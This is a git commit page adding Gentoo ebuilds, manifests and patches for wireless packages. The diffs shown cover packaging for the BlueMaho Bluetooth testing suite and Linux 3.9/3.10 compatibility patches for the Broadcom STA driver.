summaryrefslogtreecommitdiff
path: root/net-wireless
diff options
context:
space:
mode:
authorBlackNoxis <steven.darklight@gmail.com>2014-10-27 18:38:05 +0200
committerBlackNoxis <steven.darklight@gmail.com>2014-10-27 18:38:05 +0200
commit24934e623441310f644e5f72855b0f2bf9f3cd1a (patch)
treea453939bf58199bc2c3ff27bcf0accf2b221c6c4 /net-wireless
parent687f45092b4f4ccf33765cee7427f054bae22344 (diff)
Incoming! Moving Rogento.git to kogaion-desktop. Finally
Diffstat (limited to 'net-wireless')
-rw-r--r--net-wireless/bluemaho/Manifest4
-rw-r--r--net-wireless/bluemaho/bluemaho-090417-r1.ebuild39
-rw-r--r--net-wireless/bluemaho/files/bluemaho4
-rw-r--r--net-wireless/bluemaho/files/btftp-libxml.patch21
-rw-r--r--net-wireless/broadcom-sta/Manifest2
-rw-r--r--net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild82
-rw-r--r--net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r2.ebuild82
-rw-r--r--net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.10.0.patch102
-rw-r--r--net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.9.0.patch17
-rw-r--r--net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-makefile.patch14
-rw-r--r--net-wireless/broadcom-sta/metadata.xml8
-rw-r--r--net-wireless/crda/Manifest4
-rw-r--r--net-wireless/crda/crda-1.1.0-r1.ebuild39
-rw-r--r--net-wireless/crda/crda-1.1.1.ebuild29
-rw-r--r--net-wireless/dedected/Manifest3
-rw-r--r--net-wireless/dedected/dedected-9999.ebuild55
-rw-r--r--net-wireless/dedected/files/99-dect.rules2
-rw-r--r--net-wireless/dedected/files/load-dect.sh8
-rw-r--r--net-wireless/desknfc/Manifest1
-rw-r--r--net-wireless/desknfc/desknfc-9999.ebuild20
-rw-r--r--net-wireless/gqrx/Manifest1
-rw-r--r--net-wireless/gqrx/gqrx-9999.ebuild27
-rw-r--r--net-wireless/gr-air-modes/Manifest3
-rw-r--r--net-wireless/gr-air-modes/files/modes.py6
-rw-r--r--net-wireless/gr-air-modes/files/rtl_modes.py2
-rw-r--r--net-wireless/gr-air-modes/gr-air-modes-9999.ebuild43
-rw-r--r--net-wireless/grimwepa/Manifest5
-rw-r--r--net-wireless/grimwepa/files/grimwepa.conf12
-rw-r--r--net-wireless/grimwepa/files/grimwepa.desktop14
-rw-r--r--net-wireless/grimwepa/files/grimwepa.sh3
-rw-r--r--net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild36
-rw-r--r--net-wireless/haraldscan/Manifest4
-rw-r--r--net-wireless/haraldscan/files/haraldscan-maclist-path.patch11
-rw-r--r--net-wireless/haraldscan/haraldscan-0.41.ebuild59
-rw-r--r--net-wireless/horst/Manifest2
-rw-r--r--net-wireless/horst/horst-3.0.ebuild31
-rw-r--r--net-wireless/hostapd/ChangeLog579
-rw-r--r--net-wireless/hostapd/Manifest14
-rw-r--r--net-wireless/hostapd/files/cui-20120417.patch451
-rw-r--r--net-wireless/hostapd/files/cui-20120717.patch451
-rw-r--r--net-wireless/hostapd/files/hostapd-0.7.3-karma.patch481
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch1199
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-karma.patch465
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch24
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch48
-rw-r--r--net-wireless/hostapd/files/hostapd-conf.d9
-rw-r--r--net-wireless/hostapd/files/hostapd-init.d50
-rw-r--r--net-wireless/hostapd/hostapd-1.0-r4.ebuild207
-rw-r--r--net-wireless/hostapd/hostapd-1.0-r5.ebuild207
-rw-r--r--net-wireless/hostapd/metadata.xml21
-rw-r--r--net-wireless/ipw2200/ChangeLog396
-rw-r--r--net-wireless/ipw2200/Manifest5
-rw-r--r--net-wireless/ipw2200/files/digest-ipw2200-1.2.03
-rw-r--r--net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch98
-rw-r--r--net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch20
-rw-r--r--net-wireless/ipw2200/ipw2200-1.2.0.ebuild87
-rw-r--r--net-wireless/kismet-dect/Manifest1
-rw-r--r--net-wireless/kismet-dect/kismet-dect-9999.ebuild38
-rw-r--r--net-wireless/libfreefare/Manifest2
-rw-r--r--net-wireless/libfreefare/libfreefare-0.3.2.ebuild21
-rw-r--r--net-wireless/lorcon-old/Manifest1
-rw-r--r--net-wireless/lorcon-old/lorcon-old-9999.ebuild25
-rw-r--r--net-wireless/lorcon/Manifest1
-rw-r--r--net-wireless/lorcon/lorcon-9999.ebuild95
-rw-r--r--net-wireless/mdk/Manifest3
-rw-r--r--net-wireless/mdk/files/fix_wids_mdk3_v5.patch21
-rw-r--r--net-wireless/mdk/mdk-3.6.ebuild37
-rw-r--r--net-wireless/mfoc/Manifest3
-rw-r--r--net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch217
-rw-r--r--net-wireless/mfoc/mfoc-0.10.2.ebuild28
-rw-r--r--net-wireless/nfcd/Manifest1
-rw-r--r--net-wireless/nfcd/nfcd-9999.ebuild27
-rw-r--r--net-wireless/op25/Manifest1
-rw-r--r--net-wireless/op25/op25-9999.ebuild76
-rw-r--r--net-wireless/prism54/ChangeLog49
-rw-r--r--net-wireless/prism54/Manifest5
-rw-r--r--net-wireless/prism54/files/digest-prism54-200507243
-rwxr-xr-xnet-wireless/prism54/files/prism54-svn-20050724.patch13
-rw-r--r--net-wireless/prism54/metadata.xml10
-rw-r--r--net-wireless/prism54/prism54-20050724.ebuild48
-rw-r--r--net-wireless/reaver/ChangeLog10
-rw-r--r--net-wireless/reaver/Manifest12
-rw-r--r--net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch565
-rw-r--r--net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch53
-rw-r--r--net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch38
-rw-r--r--net-wireless/reaver/files/0004-wash-probe-request.patch31
-rw-r--r--net-wireless/reaver/files/0005-soreau-show-status-r2.patch97
-rw-r--r--net-wireless/reaver/files/0005-soreau-show-status.patch97
-rw-r--r--net-wireless/reaver/metadata.xml11
-rw-r--r--net-wireless/reaver/reaver-1.4-r1.ebuild38
-rw-r--r--net-wireless/reaver/reaver-1.4-r2.ebuild40
-rw-r--r--net-wireless/reaver/reaver-1.4-r3.ebuild40
-rw-r--r--net-wireless/rfidtool/Manifest2
-rw-r--r--net-wireless/rfidtool/rfidtool-0.01.ebuild26
-rw-r--r--net-wireless/sdrsharp/ChangeLog12
-rw-r--r--net-wireless/sdrsharp/Manifest4
-rw-r--r--net-wireless/sdrsharp/files/sdrsharp2
-rw-r--r--net-wireless/sdrsharp/metadata.xml12
-rw-r--r--net-wireless/sdrsharp/sdrsharp-9999.ebuild43
-rw-r--r--net-wireless/ska/Manifest2
-rw-r--r--net-wireless/ska/files/digest-ska-0.23
-rw-r--r--net-wireless/ska/ska-0.2.ebuild23
-rw-r--r--net-wireless/virtualradar-bin/Manifest5
-rw-r--r--net-wireless/virtualradar-bin/files/virtualradar2
-rw-r--r--net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild27
-rw-r--r--net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild26
-rw-r--r--net-wireless/wifitap/Manifest2
-rw-r--r--net-wireless/wifitap/wifitap-0.4.0-r4.ebuild42
-rw-r--r--net-wireless/wireless-regdb/Manifest13
-rw-r--r--net-wireless/wireless-regdb/files/extra-monitor-20090817.patch51
-rw-r--r--net-wireless/wireless-regdb/files/extra-monitor-20091125.patch51
-rw-r--r--net-wireless/wireless-regdb/files/extra-monitor-debug.patch34
-rw-r--r--net-wireless/wireless-regdb/files/extra-monitor.patch19
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild38
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild38
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild37
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild39
-rw-r--r--net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild39
118 files changed, 7960 insertions, 0 deletions
diff --git a/net-wireless/bluemaho/Manifest b/net-wireless/bluemaho/Manifest
new file mode 100644
index 00000000..833f54cc
--- /dev/null
+++ b/net-wireless/bluemaho/Manifest
@@ -0,0 +1,4 @@
+AUX bluemaho 50 RMD160 cebb4ff4c66cb943be41657308af2361db0ce411 SHA1 e79152cfde43f31cf7ff2c1c3a08ff359dec0219 SHA256 1623940d95c958f9dcdb0c5dd8e114dc16431baa9a4c0a1ddc8d44c52022a876
+AUX btftp-libxml.patch 1065 RMD160 c2bb428225879824bb9c30e25790821664c0ec5f SHA1 16911c47c073a82d291b787a894ce3db04dfcbb4 SHA256 c8b83e3fad9952c5a0dd47daff487c896df86c3bed635da715af842322f093c5
+DIST BlueMaho?action=AttachFile&do=get&target=bluemaho_v090417.tgz 916884 RMD160 57ed5b2967ef659b8e2a80bb8d3ff3908e27341b SHA1 216db6f836b20b7f70f3a56bec95ab0a607a2af5 SHA256 9b36bcf73a59d7c03a2262287c4aa37fbd308801d6fa4d3cbc86b9d15ad7ff1c
+EBUILD bluemaho-090417-r1.ebuild 928 RMD160 367180083b50d487a04102a89f077ba062dcc1cb SHA1 51d1c616d2952efd9fa5342271b2e37040445035 SHA256 e2c5bb9c86129806338692b44f348af369273c4d7bdd1218dd133cff0b6c60ec
diff --git a/net-wireless/bluemaho/bluemaho-090417-r1.ebuild b/net-wireless/bluemaho/bluemaho-090417-r1.ebuild
new file mode 100644
index 00000000..8e84602e
--- /dev/null
+++ b/net-wireless/bluemaho/bluemaho-090417-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils
+
+MY_P="${PN}_v${PV}"
+
+DESCRIPTION="BlueMaho is GUI-shell (interface) for suite of tools for testing security of bluetooth devices"
+HOMEPAGE="http://wiki.thc.org/BlueMaho"
+SRC_URI="http://wiki.thc.org/BlueMaho?action=AttachFile&do=get&target=${MY_P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86"
+IUSE=""
+RDEPEND="net-wireless/bluez[test-programs]
+ net-wireless/bt-audit
+ dev-libs/libxml2
+ dev-python/wxpython
+ dev-libs/libusb
+ sys-libs/readline"
+DEPEND="${RDEPEND}"
+S="${WORKDIR}/${MY_P/_v/-}"
+
+src_compile() {
+ epatch "${FILESDIR}"/btftp-libxml.patch
+ sed -e 's/Eterm/xterm/' -i config/default.conf
+ cd config
+ sh build.sh || die "emake failed"
+}
+
+src_install() {
+ dodir /usr/lib/${PN}
+ cp -R "${S}"/* "${D}"/usr/lib/${PN} || die "Copy files failed"
+ dobin "${FILESDIR}/${PN}"
+}
diff --git a/net-wireless/bluemaho/files/bluemaho b/net-wireless/bluemaho/files/bluemaho
new file mode 100644
index 00000000..4089d08b
--- /dev/null
+++ b/net-wireless/bluemaho/files/bluemaho
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+cd /usr/lib/bluemaho/
+./bluemaho.py $@
diff --git a/net-wireless/bluemaho/files/btftp-libxml.patch b/net-wireless/bluemaho/files/btftp-libxml.patch
new file mode 100644
index 00000000..d63add34
--- /dev/null
+++ b/net-wireless/bluemaho/files/btftp-libxml.patch
@@ -0,0 +1,21 @@
+diff -Naur bluemaho-090417.orig/tools/sources/btftp-0.1/Makefile bluemaho-090417/tools/sources/btftp-0.1/Makefile
+--- bluemaho-090417.orig/tools/sources/btftp-0.1/Makefile 2009-04-17 17:37:30.000000000 +0000
++++ bluemaho-090417/tools/sources/btftp-0.1/Makefile 2009-05-12 13:31:50.000000000 +0000
+@@ -1,2 +1,2 @@
+ all: obex.c sdp.c folder.c main.c
+- gcc -lbluetooth -lopenobex -lreadline -lxml2 obex.c sdp.c folder.c main.c -o btftp
++ gcc -I/usr/include/libxml2/ -lbluetooth -lopenobex -lreadline -lxml2 obex.c sdp.c folder.c main.c -o btftp
+diff -Naur bluemaho-090417.orig/tools/sources/btftp-0.1/folder.c bluemaho-090417/tools/sources/btftp-0.1/folder.c
+--- bluemaho-090417.orig/tools/sources/btftp-0.1/folder.c 2009-04-17 17:37:30.000000000 +0000
++++ bluemaho-090417/tools/sources/btftp-0.1/folder.c 2009-05-12 13:31:26.000000000 +0000
+@@ -29,8 +29,8 @@
+ #include <time.h>
+ #include <sys/param.h>
+
+-#include <gnome-xml/xmlmemory.h>
+-#include <gnome-xml/parser.h>
++#include <libxml/xmlmemory.h>
++#include <libxml/parser.h>
+
+ #include "goep.h"
+ #include "ftp.h"
diff --git a/net-wireless/broadcom-sta/Manifest b/net-wireless/broadcom-sta/Manifest
new file mode 100644
index 00000000..2d61f9d6
--- /dev/null
+++ b/net-wireless/broadcom-sta/Manifest
@@ -0,0 +1,2 @@
+DIST bcmwl-kernel-source_6.30.223.30%2Bbdcom-0ubuntu1%7Eppa1_amd64.deb 1779122 SHA256 de6529ae67f339aee185be93e3c12ffa944ef6b4807d176d6fda661de52136ba SHA512 93b17029538ec17be61902f1e5237a300f532dc88fd7475ac202c249a9cec099c5d170b0ebc043e1bda1987f6f925b6a28d4aa80748218f735a3790ded0565cd WHIRLPOOL 47f54a2fc286e58adef1383496fe3e65430ef643d8e7b8830cb87c0558319780f71944296211c62ccccaa4e3a216019fc5a29dd48903240362c656bb79ae55c2
+DIST bcmwl-kernel-source_6.30.223.30%2Bbdcom-0ubuntu1%7Eppa1_i386.deb 1732452 SHA256 d689040ac2ef67b9947f892b52764cd94c2090499747b57d63c2b40c7bc8eabb SHA512 323db5e6c8fc702990d7137bd11d2e8bba7ed073ee8da00125d147872edf90dd051a959198dbdaf92808403cdcfd582f17afb8a6f5e741382d3a0cffd6ce130a WHIRLPOOL db24f078e2639f609021028304e7caf48b9a3737b6fdf4b2522ab74606c6cb0b11a94706978b1fd1acdf66c59e351a4a433cf9e500862931a1e9dce6e5562c01
diff --git a/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild b/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild
new file mode 100644
index 00000000..89951738
--- /dev/null
+++ b/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild
@@ -0,0 +1,82 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild,v 1.2 2013/05/12 10:45:38 pinkbyte Exp $
+
+EAPI="5"
+inherit eutils linux-info linux-mod unpacker
+
+DESCRIPTION="Broadcom's IEEE 802.11a/b/g/n hybrid Linux device driver."
+HOMEPAGE="https://launchpad.net/ubuntu/+source/bcmwl http://www.broadcom.com/support/802.11/linux_sta.php"
+BASE_URI="https://launchpad.net/~albertomilone/+archive/broadcom/+files"
+BASE_NAME="bcmwl-kernel-source_${PV}%2Bbdcom-0ubuntu1%7Eppa1_"
+SRC_URI="amd64? ( ${BASE_URI}/${BASE_NAME}amd64.deb )
+ x86? ( ${BASE_URI}/${BASE_NAME}i386.deb )"
+
+LICENSE="Broadcom"
+KEYWORDS="-* ~amd64 ~x86"
+
+RESTRICT="mirror"
+
+DEPEND="virtual/linux-sources"
+RDEPEND=""
+
+#S="${WORKDIR}"
+S="${WORKDIR}/usr/src/bcmwl-${PV}+bdcom"
+
+MODULE_NAMES="wl(net/wireless)"
+MODULESD_WL_ALIASES=("wlan0 wl")
+
+pkg_setup() {
+ # bug #300570
+ # NOTE<lxnay>: module builds correctly anyway with b43 and SSB enabled
+ # make checks non-fatal. The correct fix is blackisting ssb and, perhaps
+ # b43 via udev rules. Moreover, previous fix broke binpkgs support.
+ CONFIG_CHECK="~!B43 ~!SSB"
+ CONFIG_CHECK2="LIB80211 ~!MAC80211 ~LIB80211_CRYPT_TKIP"
+ ERROR_B43="B43: If you insist on building this, you must blacklist it!"
+ ERROR_SSB="SSB: If you insist on building this, you must blacklist it!"
+ ERROR_LIB80211="LIB80211: Please enable it. If you can't find it: enabling the driver for \"Intel PRO/Wireless 2100\" or \"Intel PRO/Wireless 2200BG\" (IPW2100 or IPW2200) should suffice."
+ ERROR_MAC80211="MAC80211: If you insist on building this, you must blacklist it!"
+ ERROR_PREEMPT_RCU="PREEMPT_RCU: Please do not set the Preemption Model to \"Preemptible Kernel\"; choose something else."
+ ERROR_LIB80211_CRYPT_TKIP="LIB80211_CRYPT_TKIP: You will need this for WPA."
+ if kernel_is ge 3 8 8; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} CFG80211 ~!PREEMPT_RCU"
+ elif kernel_is ge 2 6 32; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} CFG80211"
+ elif kernel_is ge 2 6 31; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} WIRELESS_EXT ~!MAC80211"
+ elif kernel_is ge 2 6 29; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} WIRELESS_EXT COMPAT_NET_DEV_OPS"
+ else
+ CONFIG_CHECK="${CONFIG_CHECK} IEEE80211 IEEE80211_CRYPT_TKIP"
+ fi
+
+ linux-mod_pkg_setup
+
+ BUILD_PARAMS="-C ${KV_DIR} M=${S}"
+ BUILD_TARGETS="wl.ko"
+}
+
+src_unpack() {
+ local arch_suffix
+ if use amd64; then
+ arch_suffix="amd64"
+ else
+ arch_suffix="i386"
+ fi
+ unpack_deb "${BASE_NAME}${arch_suffix}.deb"
+}
+
+src_prepare() {
+# Filter the outdated patches here
+ EPATCH_FORCE="yes" EPATCH_EXCLUDE="0002* 0004* 0005*" EPATCH_SOURCE="${S}/patches" EPATCH_SUFFIX=patch epatch
+# Makefile.patch: keep `emake install` working
+# linux-3.9.0.patch: add support for kernel 3.9.0
+ epatch "${FILESDIR}/${P}-makefile.patch" \
+ "${FILESDIR}/${P}-linux-3.9.0.patch" \
+ "${FILESDIR}/${P}-linux-3.10.0.patch"
+ mv "${S}/lib/wlc_hybrid.o_shipped_"* "${S}/lib/wlc_hybrid.o_shipped" \
+ || die "Where is the blob?"
+
+ epatch_user
+}
diff --git a/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r2.ebuild b/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r2.ebuild
new file mode 100644
index 00000000..89951738
--- /dev/null
+++ b/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r2.ebuild
@@ -0,0 +1,82 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild,v 1.2 2013/05/12 10:45:38 pinkbyte Exp $
+
+EAPI="5"
+inherit eutils linux-info linux-mod unpacker
+
+DESCRIPTION="Broadcom's IEEE 802.11a/b/g/n hybrid Linux device driver."
+HOMEPAGE="https://launchpad.net/ubuntu/+source/bcmwl http://www.broadcom.com/support/802.11/linux_sta.php"
+BASE_URI="https://launchpad.net/~albertomilone/+archive/broadcom/+files"
+BASE_NAME="bcmwl-kernel-source_${PV}%2Bbdcom-0ubuntu1%7Eppa1_"
+SRC_URI="amd64? ( ${BASE_URI}/${BASE_NAME}amd64.deb )
+ x86? ( ${BASE_URI}/${BASE_NAME}i386.deb )"
+
+LICENSE="Broadcom"
+KEYWORDS="-* ~amd64 ~x86"
+
+RESTRICT="mirror"
+
+DEPEND="virtual/linux-sources"
+RDEPEND=""
+
+#S="${WORKDIR}"
+S="${WORKDIR}/usr/src/bcmwl-${PV}+bdcom"
+
+MODULE_NAMES="wl(net/wireless)"
+MODULESD_WL_ALIASES=("wlan0 wl")
+
+pkg_setup() {
+ # bug #300570
+ # NOTE<lxnay>: module builds correctly anyway with b43 and SSB enabled
+ # make checks non-fatal. The correct fix is blackisting ssb and, perhaps
+ # b43 via udev rules. Moreover, previous fix broke binpkgs support.
+ CONFIG_CHECK="~!B43 ~!SSB"
+ CONFIG_CHECK2="LIB80211 ~!MAC80211 ~LIB80211_CRYPT_TKIP"
+ ERROR_B43="B43: If you insist on building this, you must blacklist it!"
+ ERROR_SSB="SSB: If you insist on building this, you must blacklist it!"
+ ERROR_LIB80211="LIB80211: Please enable it. If you can't find it: enabling the driver for \"Intel PRO/Wireless 2100\" or \"Intel PRO/Wireless 2200BG\" (IPW2100 or IPW2200) should suffice."
+ ERROR_MAC80211="MAC80211: If you insist on building this, you must blacklist it!"
+ ERROR_PREEMPT_RCU="PREEMPT_RCU: Please do not set the Preemption Model to \"Preemptible Kernel\"; choose something else."
+ ERROR_LIB80211_CRYPT_TKIP="LIB80211_CRYPT_TKIP: You will need this for WPA."
+ if kernel_is ge 3 8 8; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} CFG80211 ~!PREEMPT_RCU"
+ elif kernel_is ge 2 6 32; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} CFG80211"
+ elif kernel_is ge 2 6 31; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} WIRELESS_EXT ~!MAC80211"
+ elif kernel_is ge 2 6 29; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} WIRELESS_EXT COMPAT_NET_DEV_OPS"
+ else
+ CONFIG_CHECK="${CONFIG_CHECK} IEEE80211 IEEE80211_CRYPT_TKIP"
+ fi
+
+ linux-mod_pkg_setup
+
+ BUILD_PARAMS="-C ${KV_DIR} M=${S}"
+ BUILD_TARGETS="wl.ko"
+}
+
+src_unpack() {
+ local arch_suffix
+ if use amd64; then
+ arch_suffix="amd64"
+ else
+ arch_suffix="i386"
+ fi
+ unpack_deb "${BASE_NAME}${arch_suffix}.deb"
+}
+
+src_prepare() {
+# Filter the outdated patches here
+ EPATCH_FORCE="yes" EPATCH_EXCLUDE="0002* 0004* 0005*" EPATCH_SOURCE="${S}/patches" EPATCH_SUFFIX=patch epatch
+# Makefile.patch: keep `emake install` working
+# linux-3.9.0.patch: add support for kernel 3.9.0
+ epatch "${FILESDIR}/${P}-makefile.patch" \
+ "${FILESDIR}/${P}-linux-3.9.0.patch" \
+ "${FILESDIR}/${P}-linux-3.10.0.patch"
+ mv "${S}/lib/wlc_hybrid.o_shipped_"* "${S}/lib/wlc_hybrid.o_shipped" \
+ || die "Where is the blob?"
+
+ epatch_user
+}
diff --git a/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.10.0.patch b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.10.0.patch
new file mode 100644
index 00000000..c575f289
--- /dev/null
+++ b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.10.0.patch
@@ -0,0 +1,102 @@
+diff -Naur bcmwl-6.30.223.30+bdcom.orig/src/src/wl/sys/wl_linux.c bcmwl-6.30.223.30+bdcom/src/src/wl/sys/wl_linux.c
+--- bcmwl-6.30.223.30+bdcom.orig/src/src/wl/sys/wl_linux.c 2013-04-23 12:31:31.011588881 +0200
++++ bcmwl-6.30.223.30+bdcom/src/src/wl/sys/wl_linux.c 2013-05-20 18:27:18.830187333 +0200
+@@ -3229,7 +3229,12 @@
+ wl_tkip_printstats(wl_info_t *wl, bool group_key)
+ {
+ #if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 14)
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
++ struct seq_file sfile;
++ struct seq_file *debug_buf = &sfile;
++#else
+ char debug_buf[512];
++#endif
+ int idx;
+ if (wl->tkipmodops) {
+ if (group_key) {
+@@ -3242,7 +3247,11 @@
+ wl->tkipmodops->print_stats(debug_buf, wl->tkip_ucast_data);
+ else
+ return;
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
++ printk("%s: TKIP stats from module: %s\n", debug_buf->buf, group_key?"Bcast":"Ucast");
++#else
+ printk("%s: TKIP stats from module: %s\n", debug_buf, group_key?"Bcast":"Ucast");
++#endif
+ }
+ #endif
+ }
+@@ -3401,17 +3410,24 @@
+ return 0;
+ }
+
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ static int
+ wl_proc_read(char *buffer, char **start, off_t offset, int length, int *eof, void *data)
++#else
++static ssize_t
++wl_proc_read (struct file *filp, char __user *buffer, size_t length, loff_t *data)
++#endif
+ {
+ wl_info_t * wl = (wl_info_t *)data;
+ int bcmerror, to_user;
+ int len;
+
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ if (offset > 0) {
+ *eof = 1;
+ return 0;
+ }
++#endif
+
+ if (!length) {
+ WL_ERROR(("%s: Not enough return buf space\n", __FUNCTION__));
+@@ -3424,8 +3440,13 @@
+ return len;
+ }
+
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ static int
+ wl_proc_write(struct file *filp, const char *buff, unsigned long length, void *data)
++#else
++static ssize_t
++wl_proc_write (struct file *filp, const char __user *buff, size_t length, loff_t *data)
++#endif
+ {
+ wl_info_t * wl = (wl_info_t *)data;
+ int from_user = 0;
+@@ -3455,19 +3476,34 @@
+ return length;
+ }
+
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
++static const struct file_operations wl_fops = {
++ .owner = THIS_MODULE,
++ .read = wl_proc_read,
++ .write = wl_proc_write,
++};
++#endif
++
+ static int
+ wl_reg_proc_entry(wl_info_t *wl)
+ {
+ char tmp[32];
+ sprintf(tmp, "%s%d", HYBRID_PROC, wl->pub->unit);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ if ((wl->proc_entry = create_proc_entry(tmp, 0644, NULL)) == NULL) {
+ WL_ERROR(("%s: create_proc_entry %s failed\n", __FUNCTION__, tmp));
++#else
++ if ((wl->proc_entry = proc_create(tmp, 0644, NULL, &wl_fops)) == NULL) {
++ WL_ERROR(("%s: proc_create %s failed\n", __FUNCTION__, tmp));
++#endif
+ ASSERT(0);
+ return -1;
+ }
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ wl->proc_entry->read_proc = wl_proc_read;
+ wl->proc_entry->write_proc = wl_proc_write;
+ wl->proc_entry->data = wl;
++#endif
+ return 0;
+ }
+ #ifdef WLOFFLD
diff --git a/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.9.0.patch b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.9.0.patch
new file mode 100644
index 00000000..a6e3d3d1
--- /dev/null
+++ b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.9.0.patch
@@ -0,0 +1,17 @@
+--- src.orig/wl/sys/wl_cfg80211_hybrid.c
++++ src/wl/sys/wl_cfg80211_hybrid.c
+@@ -2013,8 +2013,12 @@
+ ie_len = (size_t)(ies->len);
+ rcu_read_unlock();
+ #endif
+- cfg80211_put_bss(bss);
+- }
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 9, 0)
++ cfg80211_put_bss(bss);
++#else
++ cfg80211_put_bss(wl_to_wiphy(wl), bss);
++#endif
++ }
+
+ tim = bcm_parse_tlvs(ie, ie_len, WLAN_EID_TIM);
+ if (tim) {
diff --git a/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-makefile.patch b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-makefile.patch
new file mode 100644
index 00000000..09c495d2
--- /dev/null
+++ b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-makefile.patch
@@ -0,0 +1,14 @@
+--- Makefile.old 2013-04-28 22:42:59.000000000 +0200
++++ Makefile 2013-04-28 22:45:53.000000000 +0200
+@@ -128,9 +128,9 @@
+
+ EXTRA_LDFLAGS := $(src)/lib/wlc_hybrid.o_shipped
+
+-KBASE ?= /lib/modules/`uname -r`
++KBASE ?= /lib/modules/${KV_FULL}
+ KBUILD_DIR ?= $(KBASE)/build
+-MDEST_DIR ?= $(KBASE)/kernel/drivers/net/wireless
++MDEST_DIR ?= ${D}$(KBASE)/kernel/drivers/net/wireless
+
+ all:
+ KBUILD_NOPEDANTIC=1 make -C $(KBUILD_DIR) M=`pwd`
diff --git a/net-wireless/broadcom-sta/metadata.xml b/net-wireless/broadcom-sta/metadata.xml
new file mode 100644
index 00000000..0a0d344a
--- /dev/null
+++ b/net-wireless/broadcom-sta/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>matsuu@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+
diff --git a/net-wireless/crda/Manifest b/net-wireless/crda/Manifest
new file mode 100644
index 00000000..d4f8fa21
--- /dev/null
+++ b/net-wireless/crda/Manifest
@@ -0,0 +1,4 @@
+DIST crda-1.1.0.tar.bz2 21418 RMD160 56107c11c898d94db3b7d39e17ea9f53afc64ffb SHA1 1ab73f7df83aab511d484b6f8b959a96bd6ab1da SHA256 82695b11263e6b329b4789fbc6b43b7a2d91de667904767bd5d3e4a49556bfc1
